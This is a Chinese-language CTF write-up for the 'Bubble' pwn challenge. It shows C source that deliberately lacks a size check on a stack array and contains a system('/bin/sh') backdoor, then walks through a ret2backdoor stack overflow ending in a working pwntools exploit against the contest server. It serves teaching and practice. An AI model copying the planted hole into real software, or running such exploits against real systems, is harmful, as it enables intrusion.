TSCTF-j 2023 Bubble Write-Up
题目背景
题目灵感来源于当年大一计导课做OJ的时候,遇到类似这种输入数组size的时候老是不知道应该把数组的实际size设置成多大。所以浅写了一个设置了数组的大小,但是没有对输入的size进行检查的冒泡排序算法。源代码如下
// gcc -g -no-pie -fno-stack-protector -o bubble bubble.c
#include <stdio.h>
#include <stdlib.h>
void init() // init函数是用来设置远程环境的时候输入输出缓冲的函数,感兴趣的同学可以自行查阅,这里不做赘述。
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
init();
int size;
int arr[64];
int i;
int j = 0;
puts("Please enter the size of the array: ");
scanf("%d", &size);
puts("Please enter the elements of the array: ");
for (i = 0; i < size; i++)
{
scanf("%d", &arr[i]);
}
for (; j < size - 1; j++)
{
for (int k = 0; k < size - j - 1; k++)
{
if (arr[k] > arr[k + 1])
{
int temp = arr[k];
arr[k] = arr[k + 1];
arr[k + 1] = temp;
}
}
}
puts("Sorted array: ");
for (i = 0; i < size; i++)
{
printf("%d ", arr[i]);
}
puts("\nWell...A little bit confused..?\nThere is something cool in the \"bubble_tea\" function!\nCheck it out!");
return 0;
}
void bubble_tea()
{
system("/bin/sh");
}
解题思路
先checksec检查保护信息
PIE是关掉的,所以如果能栈溢出的话可以直接返回到bubble_tea函数从而拿到shell。
由于是纯C语言写的,并且善良(?)的我把调试信息也给了,所以逆向部分应该没什么难度,就是一个单纯的冒泡排序算法,但是没有对size的大小进行检查,导致scanf可以连续输入很多数字,直到溢出arr[64]
这个变量。
所以思路很简单:利用scanf栈溢出把main函数的返回地址覆盖为bubble_tea即可。
控制循环
for ( i = 0; i < size; ++i )
__isoc99_scanf("%d", &arr[i]);
我们需要让arr[i]
指向main函数的返回地址的时候,正好跳出循环。
考虑栈的情况:
size (4 bytes)
temp (4 bytes)
k (4 bytes)
j (4 bytes)
i (4 bytes)
saved_rbp (8 bytes)
ret_addr (8 bytes)
为了覆盖到ret_addr,必须要先覆盖前面几个变量。而这些变量和算法中的循环息息相关,需要精心加以控制。
看看while循环的条件
while ( j < size - 1 )
为了跳过这个while循环,只需要把temp, k的值设置成0,j设置成很大的值即可。
难点在于size和i这两个变量。
看看for循环的跳出条件:
for ( i = 0; i < size; ++i )
__isoc99_scanf("%d", &arr[i]);
我们要让当arr[i]
指向ret_addr
高4字节的时候正好满足size=i+1
,这样的话正好在写完ret_addr的时候跳出这个for循环。
为了计算这两个变量,同学们可以列个表来表示栈的结构。
表中的绿色单元表示当前时刻arr[i]
对应的位置。可以算出size=76时,当arr[i]
指向ret_addr
高4字节的时候正好满足size=i+1
。
最后一个问题在于,scanf读入的%d是整数类型的,只有4字节,而ret_addr有8个字节。这就涉及到在内存中数字是如何存储的。
在这个环境中,数字是以小端序存储的(可以看看上面的checksec检查中的Arch内容)。
例如在下图中0x7ffd19c474d8这个单元格存储的数字是0x000000000040121b,他的高位存在高字节,低位存在低字节。
所以为了把ret_addr覆盖为bubble_tea的地址0x40139A
,需要让其低4字节为0x40139A,高4字节为0。具体在输入时,高4字节填0,低4字节为0x40139A对应的十进制4199322即可。
栈帧对齐
目前的exp如下
from pwn import *
context.log_level = 'DEBUG'
p = process('./bubble_setbuf')
p.sendline(b'999')
payload=b'0 '*67+b'76 0 0 999 71 0 0 4199322 0'
p.sendline(payload)
p.interactive()
然而发现打不通。debug会发现卡在了system函数
比赛的时候其实也给了hint:
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
我们使用文章中的第二种方法,把ret的地址逐渐加一直到打通为止。测试发现4199327是可用的。
最终exp
from pwn import *
context.log_level = 'DEBUG'
# p = process('./bubble_setbuf')
p = remote('ctf.buptmerak.cn',21248)
p.sendline(b'999')
payload=b'0 '*67+b'76 0 0 999 71 0 0 4199327 0'
p.sendline(payload)
p.interactive()
蒟蒻悄悄说两句😣
本来我是想出一道简单的ret2backdoor的签到题,但是好像做下来还是有一定难度和经验需求的,可能对各位二进制新手朋友不是那么的友好。
这是我第一次出PWN题,以及我的主要方向并不是PWN,可能和预想的难度不太匹配,在此深表歉意😣😣
希望各位新生朋友不要因为这个“签到题”没做出来而消磨了学二进制的热情,因为PWN这东西其实很好玩的hhh